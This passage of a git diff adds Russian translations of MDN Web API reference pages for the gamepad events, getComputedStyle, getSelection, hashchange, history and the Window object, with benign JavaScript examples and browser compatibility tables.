+<pre class="brush:js;">// Обратите внимание, что API всё ещё использует вендорные префиксы в браузерах, которые его реализуют
+window.addEventListener("gamepadconnected", function( event ) {
+
+    // Все значения кнопок и стиков доступны через:
+    event.gamepad;
+
+});
+</pre>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("gamepaddisconnected")}}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/API/Gamepad/Using_Gamepad_API">Using Gamepad API</a></li>
+</ul>
diff --git a/files/ru/web/api/window/gamepaddisconnected_event/index.html b/files/ru/web/api/window/gamepaddisconnected_event/index.html
new file mode 100644
index 0000000000..f0aac41e38
--- /dev/null
+++ b/files/ru/web/api/window/gamepaddisconnected_event/index.html
@@ -0,0 +1,74 @@
+---
+title: gamepaddisconnected
+slug: Web/API/Window/gamepaddisconnected_event
+translation_of: Web/API/Window/gamepaddisconnected_event
+---
+<p>Событие <code>gampaddisconnected</code> вызывается, когда браузер обнаруживает, что геймпад был отключен.</p>
+
+<h2 id="Основная_информация">Основная информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывающее</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Отсутствует</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Цель события (самый верхний элемент DOM дерева).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Является ли событие всплывающим.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Является ли событие отменяемым.</td>
+  </tr>
+  <tr>
+   <td><code>gamepad</code> {{readonlyInline}}</td>
+   <td>{{domxref("Gamepad")}}</td>
+   <td>Единственный атрибут, предоставляющий доступ к данным геймпада для этого события.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("gamepadconnected")}}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/API/Gamepad/Using_Gamepad_API">Using Gamepad API</a></li>
+</ul>
diff --git a/files/ru/web/api/window/getcomputedstyle/index.html b/files/ru/web/api/window/getcomputedstyle/index.html
new file mode 100644
index 0000000000..fb8239d55e
--- /dev/null
+++ b/files/ru/web/api/window/getcomputedstyle/index.html
@@ -0,0 +1,198 @@
+---
+title: window.getComputedStyle()
+slug: Web/API/Window/getComputedStyle
+translation_of: Web/API/Window/getComputedStyle
+---
+<p class="summary"><span class="seoSummary">Метод <strong><code>Window.getComputedStyle()</code></strong> возвращает объект, содержащий значения всех CSS-свойств элемента, полученных после применения всех активных таблиц стилей, и завершения базовых вычислений значений, которые они могут содержать.</span> Некоторые CSS-свойства доступны через API, предоставляемые объектом, или индексацию по именам CSS-свойств.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>style</em> = window.getComputedStyle(<em>element</em> [, <em>pseudoElt</em>]);
+</pre>
+
+<dl>
+ <dt><code>element</code></dt>
+ <dd>{{domxref("Element")}}, свойства которого необходимо получить.</dd>
+ <dt><code>pseudoElt</code> {{optional_inline}}</dt>
+ <dd>Строка указывающая на найденный псевдо-элемент. Опускается (или <code>null</code>) для не псевдо-элементов.</dd>
+</dl>
+
+<p>Возвращенный <code>style</code> живой {{domxref("CSSStyleDeclaration")}} обьект, который обновляется автоматически когда элемент стилей изменяется.</p>
+
+<h2 id="Выводы">Выводы</h2>
+
+<p>Метод <code>Window.getComputedStyle()</code> предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчета каких-либо значений, которые могут быть.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var elem1 = document.getElementById("elemId");
+var style = window.getComputedStyle(elem1, null);
+
+// this is equivalent:
+// var style = document.defaultView.getComputedStyle(elem1, null);
+</pre>
+
+<pre class="brush: js">&lt;style&gt;
+ #elem-container{
+   position: absolute;
+   left:     100px;
+   top:      200px;
+   height:   100px;
+ }
+&lt;/style&gt;
+
+&lt;div id="elem-container"&gt;dummy&lt;/div&gt;
+&lt;div id="output"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  function getTheStyle(){
+    var elem = document.getElementById("elem-container");
+    var theCSSprop = window.getComputedStyle(elem,null).getPropertyValue("height");
+    document.getElementById("output").innerHTML = theCSSprop;
+   }
+  getTheStyle();
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: js">function dumpComputedStyles(elem,prop) {
+
+  var cs = window.getComputedStyle(elem,null);
+  if (prop) {
+    console.log(prop+" : "+cs.getPropertyValue(prop));
+    return;
+  }
+  var len = cs.length;
+  for (var i=0;i&lt;len;i++) {
+
+    var style = cs[i];
+    console.log(style+" : "+cs.getPropertyValue(style));
+  }
+
+}
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Возвращенный обьект - это такой же обьект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два обьекта имеют разные назначения. Обьект который возвращается из <code>getComputedStyle</code> только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <code>&lt;style&gt;</code> элемента или внешней таблицы стилей). Обьект <code>element.style</code> следует использовать для установки стилей на специфических элементах.</p>
+
+<p>Первый аргумент должен быть элементом (вставка узлов которые не являются элементами, например <code>#text</code> выдаст ошибку).</p>
+
+<h2 id="defaultView"><code>defaultView</code></h2>
+
+<p>Во многих примерах кода, <code>getComputedStyle</code> используется из обьекта <code>document.defaultView</code>. Почти во всех случаях это не нужно, поскольку <code>getComputedStyle</code> существует в обьетке <code>window</code>. Это что-то на подобии шаблона defaultView который был нейкой прослойкой. Люди не хотели писать спецификацию для <code>window</code> и создавали <code>API</code>  которое также могло использоваться для Java. Так или иначе <a class="link-https" href="https://github.com/jquery/jquery/pull/524#issuecomment-2241183" title="https://github.com/jquery/jquery/pull/524#issuecomment-2241183">есть только один случай</a> когда метод <code>defaultView</code> должен использоваться: когда вы используете Firefox 3.6 чтобы получить доступ к вычесленным стилям.</p>
+
+<h2 id="Использования_с_псевдо-элементами">Использования с псевдо-элементами</h2>
+
+<p><code>getComputedStyle</code> может получить информацию о стилях из псевдо-элемента (например - <code>::after</code>, <code>::before</code>, <code>::marker</code>, <code>::line-marker</code> - <a class="external" href="https://www.w3.org/TR/css-pseudo-4/">спецификация</a>).</p>
+
+<pre class="brush: html">&lt;style&gt;
+ h3::after {
+   content: 'rocks!';
+ }
+&lt;/style&gt;
+
+&lt;h3&gt;generated content&lt;/h3&gt;
+
+&lt;script&gt;
+  var h3 = document.querySelector('h3');
+  var result = getComputedStyle(h3, ':after').content;
+
+  console.log('the generated content is: ', result); // возвратит 'rocks!'
+&lt;/script&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>The values returned by <code>getComputedStyle</code> are known as {{cssxref("resolved_value", "resolved values")}}. These are usually the same as the CSS 2.1 {{cssxref("computed_value","computed values")}}, but for some older properties like <code>width</code>, <code>height</code> or <code>padding</code>, they are instead the {{cssxref("used_value","used values")}}. Originally, CSS 2.0 defined the computed values to be the "ready to be used" final values of properties after cascading and inheritance, but CSS 2.1 redefined computed values as pre-layout, and used values as post-layout. For CSS 2.0 properties, the <code>getComputedStyle</code> function returns the old meaning of computed values, now called <strong>used values</strong>. An example of difference between pre- and post-layout values includes the resolution of percentages that represent the width or the height of an element (also known as its layout), as those will be replaced by their pixel equivalent only in the used value case.</p>
+
+<p>The returned value is, in certain known cases, expressly inaccurate by deliberate intent. In particular, to avoid the so called CSS History Leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never visited the linked site. See <a class="external" href="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/</a> and <a class="external" href="http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/">http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/</a> for details of the examples of how this is implemented. Most other modern browsers have applied similar changes to the application of pseudo-selector styles and the values returned by <code>getComputedStyle</code>.</p>
+
+<p>During a CSS transition, <code>getComputedStyle</code> returns the original property value in Firefox, but the final property value in WebKit.</p>
+
+<p>In Firefox, properties with the value <code>auto</code> return the used value, not the value <code>auto</code>. So if you apply <code>top:auto;</code> and <code>bottom:0</code>; on an element with <code>height:30px</code> and its containing block is <code>height:100px;</code>, upon requesting the computed style for <code>top</code>, Firefox will return <code>top:70px</code>, as <code>100px-30px=70px</code>.</p>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>pseudo-element support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>15</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>WP7 Mango</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>pseudo-element support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Спецификаци">Спецификаци</h2>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSview-getComputedStyle">DOM Level 2 Style: getComputedStyle</a></li>
+ <li><a href="https://drafts.csswg.org/cssom/#dom-window-getcomputedstyle" title="https://drafts.csswg.org/cssom/#dom-window-getcomputedstyle">CSS Object Model specification</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотреть также</h2>
+
+<ul>
+ <li>{{domxref("window.getDefaultComputedStyle")}}</li>
+ <li>{{cssxref("resolved_value", "Resolved Value")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/getselection/index.html b/files/ru/web/api/window/getselection/index.html
new file mode 100644
index 0000000000..c3a4b16ab1
--- /dev/null
+++ b/files/ru/web/api/window/getselection/index.html
@@ -0,0 +1,142 @@
+---
+title: Window.getSelection()
+slug: Web/API/Window/getSelection
+translation_of: Web/API/Window/getSelection
+---
+<div>{{ ApiRef() }}</div>
+
+<h2 id="Summary" name="Summary">Коротко</h2>
+
+<p>Метод возвращает объект {{domxref("Selection")}}, представленный в виде диапазона текста, который пользователь выделил на странице.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>selection</em> = <em>window</em>.getSelection();</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p><font face="consolas, Liberation Mono, courier, monospace">Объект </font>{{domxref("Selection")}}.</p>
+
+<p>При добавлении в параметр пустую строку или вспользовавшись методом {{jsxref("Selection.toString()")}} вам вернут строку, которую выделил пользователь.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">function foo() {
+    var selObj = window.getSelection();
+    alert(selObj);
+    var selRange = selObj.getRangeAt(0);
+    // вернет диапазон Range
+}</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<h3 id="String_representation_of_the_Selection_object">String representation of the Selection object</h3>
+
+<p>В JavaScript при попытке передать в функцию, принимающую строку (как на пример {{ Domxref("window.alert()") }} или же {{ Domxref("document.write()") }}), функция попробует сделать из любого параметра строку, даже если этот параметр явлется объектом, функцией со своими методами и свойствами.</p>
+
+<p>В приведенном выше примере <code>selObj.toString() автоматически задействуется, когда мы передаем в </code>{{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="JS/String.length">length</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr" title="JS/String.substr">substr</a></code>. В следствии чего, вам необходимо будет применить вручную метод   <code>toString(), как тут:</code></p>
+
+<pre class="brush:js;gutter:false;">var selectedText = selObj.toString();</pre>
+
+<ul>
+ <li><code>selObj</code> это объект <code>Selection</code>.</li>
+ <li><code>selectedText</code> это строка  (Выделенный текст).</li>
+</ul>
+
+<h3 id="Родственные_объекты">Родственные объекты</h3>
+
+<p>Вы так же можете использовать такой способ вызова {{domxref("Document.getSelection()")}}, который работает идентично {{domxref("Window.getSelection()")}}.</p>
+
+<p>Поля ввода HTML (inputs) предоставляют более удобный API для работы с выделенным текстом (смотрите {{domxref("HTMLInputElement.setSelectionRange()")}}).</p>
+
+<p>На заметку, разница между <em>selection</em> и <em>focus</em>. {{domxref("Document.activeElement")}}  - это то, что вернется элемент, который выделен (focused) .</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Selection API", "#extensions-to-window-interface", "Window.getSelection()")}}</td>
+   <td>{{Spec2("Selection API")}}</td>
+   <td>Новая специф.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML Editing", "#dom-window-getselection", "Window.getSelection()")}}</td>
+   <td>{{Spec2("HTML Editing")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also"></h2>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Selection_API">Selection API</a></li>
+ <li>{{domxref("Selection")}}</li>
+ <li>{{domxref("Range")}}</li>
+ <li>{{domxref("Document.getSelection()")}}</li>
+ <li>{{domxref("HTMLInputElement.setSelectionRange()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/hashchange_event/index.html b/files/ru/web/api/window/hashchange_event/index.html
new file mode 100644
index 0000000000..84087f124c
--- /dev/null
+++ b/files/ru/web/api/window/hashchange_event/index.html
@@ -0,0 +1,159 @@
+---
+title: hashchange
+slug: Web/API/Window/hashchange_event
+translation_of: Web/API/Window/hashchange_event
+---
+<p>Событие <code>hashchange</code> генерируется когда изменяется идентификатор фрагмента URL (т.е. часть URL следующая за символом #, включая сам символ #).</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-hashchange">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">HashChangeEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">defaultView</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The browsing context (<code>window</code>).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>oldURL</code> {{readonlyInline}}</td>
+   <td>{{jsxref("String")}}</td>
+   <td>The previous URL from which the window was navigated.</td>
+  </tr>
+  <tr>
+   <td>newURL {{readonlyInline}}</td>
+   <td>{{jsxref("String")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5.0</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}<br>
+    <small>Support for the <code>oldURL</code>/<code>newURL</code> attributes added in Firefox 6.</small></td>
+   <td>8.0<br>
+    <code>oldURL</code>/<code>newURL</code> attributes are not supported.</td>
+   <td>10.6</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.2</td>
+   <td>{{ CompatGeckoMobile("1.9.2") }}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><br>
+ There are several fallback scripts listed on <a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills" title="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills">this page</a>. Basically those scripts check the location.hash at a regular interval. Here is a version that allows only one handler to be bound to the <code>window.onhashchange</code> property:</p>
+
+<pre class="brush:js;">(function(window) {
+
+  // exit if the browser implements that event
+  if ( "onhashchange" in window.document.body ) { return; }
+
+  var location = window.location,
+    oldURL = location.href,
+    oldHash = location.hash;
+
+  // check the location hash on a 100ms interval
+  setInterval(function() {
+    var newURL = location.href,
+      newHash = location.hash;
+
+    // if the hash has changed and a handler has been bound...
+    if ( newHash != oldHash &amp;&amp; typeof window.onhashchange === "function" ) {
+      // execute the handler
+      window.onhashchange({
+        type: "hashchange",
+        oldURL: oldURL,
+        newURL: newURL
+      });
+
+      oldURL = newURL;
+      oldHash = newHash;
+    }
+  }, 100);
+
+})(window);
+</pre>
+
+<h2 id="Похожие_события">Похожие события</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla_event_reference/popstate"><code>popstate</code></a></li>
+</ul>
diff --git a/files/ru/web/api/window/history/index.html b/files/ru/web/api/window/history/index.html
new file mode 100644
index 0000000000..982be2ef7e
--- /dev/null
+++ b/files/ru/web/api/window/history/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.history
+slug: Web/API/Window/history
+translation_of: Web/API/Window/history
+---
+<p>{{ APIRef }}</p>
+
+<p><code><strong>Window</strong>.<strong>history</strong></code> является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещенные в текущей вкладке или фрейме, который был загружен на текущей странице).</p>
+
+<p>Смотрите <a href="/ru/docs/Web/API/History_API">Управление историей браузера</a> для примеров и подробностей. В частности, та статья объясняет особенности безопасности методов <code>pushState()</code> и <code>replaceState()</code>, о которых вы должны быть в курсе перед их использованием.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var historyObj</em> = <em>window</em>.history;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">history.back();     // эквивалент клика по кнопке назад
+history.go(-1);     // эквивалент history.back();
+</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект <code>History</code>, в выпадающем списке к кнопкам "назад" и "вперед".</p>
+
+<p>По причинам безопасности объект <code>History</code> не позволяет непривелигерованному коду получать доступ к URL других страниц, но позволяет осуществлять навигацию по истории сессии.</p>
+
+<p>Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперед" из непривелигерованного кода. Наиболее близкое решение использовать метод <code><a href="/en/DOM/window.location#replace" title="en/DOM/window.location#replace">location.replace()</a></code>, который заменяет текущий пункт в истории сессии на предоставленный URL.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#the-history-interface', 'The History interface')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/index.html b/files/ru/web/api/window/index.html
new file mode 100644
index 0000000000..d70c6e1a44
--- /dev/null
+++ b/files/ru/web/api/window/index.html
@@ -0,0 +1,457 @@
+---
+title: Window
+slug: Web/API/Window
+translation_of: Web/API/Window
+---
+<p>{{APIRef}}</p>
+
+<p><span class="seoSummary">Объект <code>window</code> представляет собой окно, содержащее DOM документ; свойство <code>document</code> указывает на <a href="/en-US/docs/DOM/document">DOM document</a>, загруженный в данном окне.</span> Окно текущего документа может быть получено с помощью свойства {{Domxref("document.defaultView")}}.</p>
+
+<p>Данный раздел содержит описание всех методов, свойств и событий, доступных через объект <code>window</code> DOM. Объект <code>window</code> реализует интерфейс <code>Window</code>, который наследуется от интерфейса <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code>. Некоторые дополнительные глобальные функции, пространства имен объектов, интерфейсы и конструкторы, как правило, не связаные с окном, но доступные в нем, перечислены в <a href="/en-US/docs/JavaScript/Reference">JavaScript ссылки</a> и <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM ссылки</a>.</p>
+
+<p>В браузерах, поддерживающих вкладки, таком как Firefox, каждая вкладка содержит свой собственный объект <code>window</code> (и если вы пишете расширение, окно браузера тоже является отдельным объектом window - см. <a href="/en-US/docs/Working_with_windows_in_chrome_code#Content_windows">Работа с окнами в chrome коде</a>). Таким образом, объект <code>window</code> не разделяется между разными вкладками в одном и том же окне. Некоторые методы,  а именно {{Domxref("window.resizeTo")}} и {{Domxref("window.resizeBy")}} применяеются для всего окна и не принадлежат объекту <code>window</code> отдельной вкладки. Как правило, если что-то логически нельзя отнести ко вкладке, это относят к окну.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Данный интерфейс наследует свойства из интерфейса {{domxref("EventTarget")}} и реализует свойства из {{domxref("WindowOrWorkerGlobalScope")}} и миксин {{domxref("WindowEventHandlers")}}.</em></p>
+
+<p>Отметим, что свойства, являющиеся объектами (например, перезаписанные прототипы встроенных элементов), перечислены в отдельном разделе ниже.</p>
+
+<dl>
+ <dt>{{domxref("Window.applicationCache")}} {{readOnlyInline}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>Объект {{domxref("OfflineResourceList")}}, обеспечивающий для окна доступ к ресурсам вне сети.</dd>
+ <dt>{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}</dt>
+ <dd>Свойство, указывающее было ли текущее окно закрыто или нет.</dd>
+ <dt>{{domxref("Window.Components")}} {{Non-standard_inline}}</dt>
+ <dd>Точка доступа к богатому функционалу <a href="/en-US/docs/XPCOM">XPCOM</a>. Некоторые свойства, т.к. <a href="/en-US/docs/Components.classes">classes</a>, доступны только для достаточно привелегированного кода. <strong>Web-код не должен использовать эти свойства.</strong></dd>
+ <dt>{{domxref("console","Window.console")}} {{Non-standard_inline}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект консоли, обеспечивающего доступ к консоли браузера.</dd>
+ <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчеркиванием более не доступен для Web-содержимого.</dd>
+ <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Возвращает XUL контроллер объектов для текущего окна chrome.</dd>
+ <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает зашифрованный объект браузера.</dd>
+ <dt>{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}</dt>
+ <dd>Получает/устанавливает текст статус-бара для данного окна.</dd>
+ <dt>{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Возвращает соотношение между физическими пикселями и пикселями на дисплее текущего устройства.</dd>
+ <dt>{{domxref("Window.dialogArguments")}} {{Fx_minversion_inline(3)}} {{ReadOnlyInline}}</dt>
+ <dd>Получает аргументы, переданные в окно (если это диалоговое окно) в момент вызова {{domxref("window.showModalDialog()")}}. Это {{Interface("nsIArray")}}.</dd>
+ <dt>{{domxref("Window.directories")}} {{obsolete_inline}}</dt>
+ <dd>Синоним {{domxref("window.personalbar")}}</dd>
+ <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt>
